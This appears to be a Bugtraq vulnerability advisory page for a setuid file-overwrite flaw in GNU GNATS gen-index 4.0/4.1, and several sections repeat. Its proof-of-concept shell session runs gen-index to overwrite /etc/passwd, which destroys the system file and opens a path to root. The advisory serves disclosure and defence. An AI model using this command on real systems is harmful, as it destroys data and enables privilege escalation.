GNU GNATS Gen-Index Arbitrary Local File Disclosure/Overwrite Vulnerability
BID:14169
Info
GNU GNATS Gen-Index Arbitrary Local File Disclosure/Overwrite Vulnerability
| Bugtraq ID: | 14169 |
| Class: | Design Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Jul 06 2005 12:00AM |
| Updated: | Jul 06 2005 12:00AM |
| Credit: | Discovery is credited to pi3 (pi3ki31ny) <[email protected]>. |
| Vulnerable: |
GNU GNATS 4.1 GNU GNATS 4.0 |
| Not Vulnerable: | |
Discussion
GNU GNATS Gen-Index Arbitrary Local File Disclosure/Overwrite Vulnerability
GNU GNATS gen-index allows local attackers to disclose and overwrite arbitrary files.
A successful attack can result in privilege escalation and a complete compromise of the affected computer as gen-index is installed with setuid permissions.
GNU GNATS 4.0 and 4.1.0 are reported to be affected. Other versions may be vulnerable as well.
GNU GNATS gen-index allows local attackers to disclose and overwrite arbitrary files.
A successful attack can result in privilege escalation and a complete compromise of the affected computer as gen-index is installed with setuid permissions.
GNU GNATS 4.0 and 4.1.0 are reported to be affected. Other versions may be vulnerable as well.
Exploit / POC
GNU GNATS Gen-Index Arbitrary Local File Disclosure/Overwrite Vulnerability
An exploit is not required.
The following proof of concept example is available:
pi3@darkstar:~$ pwd
/home/pi3
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 795 May 19 18:49 /etc/passwd
pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index
-r-sr-xr-x 1 root root 465k Nov 21 2004 /usr/local/libexec/gnats/gen-index*
pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 1 Jun 16 17:34 /etc/passwd
pi3@darkstar:~$ cat /etc/passwd
An exploit is not required.
The following proof of concept example is available:
pi3@darkstar:~$ pwd
/home/pi3
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 795 May 19 18:49 /etc/passwd
pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index
-r-sr-xr-x 1 root root 465k Nov 21 2004 /usr/local/libexec/gnats/gen-index*
pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 1 Jun 16 17:34 /etc/passwd
pi3@darkstar:~$ cat /etc/passwd
Solution / Fix
GNU GNATS Gen-Index Arbitrary Local File Disclosure/Overwrite Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
GNU GNATS Gen-Index Arbitrary Local File Disclosure/Overwrite Vulnerability
References:
References: